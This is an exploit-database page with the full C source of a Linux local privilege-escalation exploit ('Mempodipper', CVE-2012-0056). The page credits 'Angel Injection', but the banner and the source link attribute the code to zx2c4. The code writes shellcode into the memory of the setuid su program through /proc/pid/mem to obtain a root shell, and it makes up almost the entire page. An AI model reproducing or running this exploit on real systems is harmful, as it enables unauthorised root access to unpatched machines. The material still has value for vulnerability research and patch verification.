Lucene search
K

Linux Kernel 2.6.18-374 Local root Exploit

🗓️ 29 Jun 2012 00:00:00Reported by Angel InjectionType 
zdt
 zdt
🔗 0day.today👁 37 Views

Linux Kernel 2.6.18-374 Local root Exploit - Found by Angel Injection. RISK: High. Platform: Linux

Related
Code
/*
 * 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
 * 0     _                   __           __       __                     1
 * 1   /' \            __  /'__`\        /\ \__  /'__`\                   0
 * 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
 * 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
 * 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
 * 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
 * 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
 * 1                  \ \____/ >> Exploit database separated by exploit   0
 * 0                   \/___/          type (local, remote, DoS, etc.)    1
 * 1                                                                      1
 * 0  [+] Site            : 1337day.com                                   0
 * 1  [+] Support e-mail  : submit[at]1337day.com                         1
 * 0                                                                      0
 * 1               #########################################              1
 * 0               I'm Angel Injection member from Inj3ct0r Team          1
 * 1               #########################################              0
 * 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
 * [+] Linux Kernel 2.6.18-374 Local root Exploit
 * [-] Found by Angel Injection
 * [-] Version: 2.6.18-374
 * [-] Security -::RISK: High
 * [-] platforms: linux
 * [-] http://1337day.com http://r00tw0rm.com http://i313.cc
 * [-] Note: Exploit Found http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
 */

#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

char *prog_name;

int send_fd(int sock, int fd)
{
	char buf[1];
	struct iovec iov;
	struct msghdr msg;
	struct cmsghdr *cmsg;
	int n;
	char cms[CMSG_SPACE(sizeof(int))];

	buf[0] = 0;
	iov.iov_base = buf;
	iov.iov_len = 1;

	memset(&msg, 0, sizeof msg);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	msg.msg_control = (caddr_t)cms;
	msg.msg_controllen = CMSG_LEN(sizeof(int));

	cmsg = CMSG_FIRSTHDR(&msg);
	cmsg->cmsg_len = CMSG_LEN(sizeof(int));
	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;
	memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

	if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
		return -1;
	close(sock);
	return 0;
}

int recv_fd(int sock)
{
	int n;
	int fd;
	char buf[1];
	struct iovec iov;
	struct msghdr msg;
	struct cmsghdr *cmsg;
	char cms[CMSG_SPACE(sizeof(int))];
	
	iov.iov_base = buf;
	iov.iov_len = 1;

	memset(&msg, 0, sizeof msg);
	msg.msg_name = 0;
	msg.msg_namelen = 0;
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;

	msg.msg_control = (caddr_t)cms;
	msg.msg_controllen = sizeof cms;

	if ((n = recvmsg(sock, &msg, 0)) < 0)
		return -1;
	if (n == 0)
		return -1;
	cmsg = CMSG_FIRSTHDR(&msg);
	memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
	close(sock);
	return fd;
}

unsigned long ptrace_address()
{
	int fd[2];
	printf("[+] Creating ptrace pipe.\n");
	pipe(fd);
	fcntl(fd[0], F_SETFL, O_NONBLOCK);

	printf("[+] Forking ptrace child.\n");
	int child = fork();
	if (child) {
		close(fd[1]);
		char buf;
		printf("[+] Waiting for ptraced child to give output on syscalls.\n");
		for (;;) {
			wait(NULL);
			if (read(fd[0], &buf, 1) > 0)
				break;
			ptrace(PTRACE_SYSCALL, child, NULL, NULL);
		}
		
		printf("[+] Error message written. Single stepping to find address.\n");
		struct user_regs_struct regs;
		for (;;) {
			ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
			wait(NULL);
			ptrace(PTRACE_GETREGS, child, NULL, &regs);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
			if (instruction_pointer < upper_bound) {
				unsigned long instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
				if ((instruction & 0xffff) == 0x25ff /* jmp r/m32 */)
					return instruction_pointer;
			}
		}
	} else {
		printf("[+] Ptrace_traceme'ing process.\n");
		if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) < 0) {
			perror("[-] ptrace");
			return 0;
		}
		close(fd[0]);
		dup2(fd[1], 2);
		execl("/bin/su", "su", "not-a-valid-user", NULL);
	}
	return 0;
}

unsigned long objdump_address()
{
	FILE *command = popen("objdump -d /bin/su|grep '<[email protected]>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
	if (!command) {
		perror("[-] popen");
		return 0;
	}
	char result[32];
	fgets(result, 32, command);
	pclose(command);
	return strtoul(result, NULL, 16);
}

unsigned long find_address()
{
	printf("[+] Ptracing su to find next instruction without reading binary.\n");
	unsigned long address = ptrace_address();
	if (!address) {
		printf("[-] Ptrace failed.\n");
		printf("[+] Reading su binary with objdump to find [email protected]\n");
		address = objdump_address();
		if (address == ULONG_MAX || !address) {
			printf("[-] Could not resolve /bin/su. Specify the [email protected] function address manually.\n");
			printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", prog_name, prog_name);
			exit(-1);
		}
	}
	printf("[+] Resolved call address to 0x%lx.\n", address);
	return address;
}

int su_padding()
{
	printf("[+] Calculating su padding.\n");
	FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
	if (!command) {
		perror("[-] popen");
		exit(1);
	}
	char result[256];
	fgets(result, 256, command);
	pclose(command);
	return strstr(result, "this-user-does-not-exist") - result;
}

int child(int sock)
{
	char parent_mem[256];
	sprintf(parent_mem, "/proc/%d/mem", getppid());
	printf("[+] Opening parent mem %s in child.\n", parent_mem);
	int fd = open(parent_mem, O_RDWR);
	if (fd < 0) {
		perror("[-] open");
		return 1;
	}
	printf("[+] Sending fd %d to parent.\n", fd);
	send_fd(sock, fd);
	return 0;
}

int parent(unsigned long address)
{
	int sockets[2];
	printf("[+] Opening socketpair.\n");
	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
		perror("[-] socketpair");
		return 1;
	}
	if (fork()) {
		printf("[+] Waiting for transferred fd in parent.\n");
		int fd = recv_fd(sockets[1]);
		printf("[+] Received fd at %d.\n", fd);
		if (fd < 0) {
			perror("[-] recv_fd");
			return 1;
		}
		printf("[+] Assigning fd %d to stderr.\n", fd);
		dup2(2, 15);
		dup2(fd, 2);

		unsigned long offset = address - su_padding();
		printf("[+] Seeking to offset 0x%lx.\n", offset);
		lseek64(fd, offset, SEEK_SET);
		
#if defined(__i386__)
		// See shellcode-32.s in this package for the source.
		char shellcode[] =
			"\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
			"\x0f\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
			"\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
			"\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
			"\x80";
#elif defined(__x86_64__)
		// See shellcode-64.s in this package for the source.
		char shellcode[] =
			"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
			"\x31\xf6\x40\xb7\x0f\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
			"\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
			"\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
			"\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
		printf("[+] Executing su with shellcode.\n");
		execl("/bin/su", "su", shellcode, NULL);
	} else {
		char sock[32];
		sprintf(sock, "%d", sockets[0]);
		printf("[+] Executing child from child fork.\n");
		execl("/proc/self/exe", prog_name, "-c", sock, NULL);
	}
	return 0;
}

int main(int argc, char **argv)
{
	prog_name = argv[0];
	
	if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c')
		return child(atoi(argv[2]));
	
	printf("===============================\n");
	printf("=          Mempodipper        =\n");
	printf("=           by zx2c4          =\n");
	printf("=         Jan 21, 2012        =\n");
	printf("===============================\n\n");
	
	if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
		return parent(strtoul(argv[2], NULL, 16));
	else
		return parent(find_address());
	
}



#  0day.today [2018-02-16]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jun 2012 00:00Current
6.8Medium risk
Vulners AI Score6.8
EPSS0.64291
37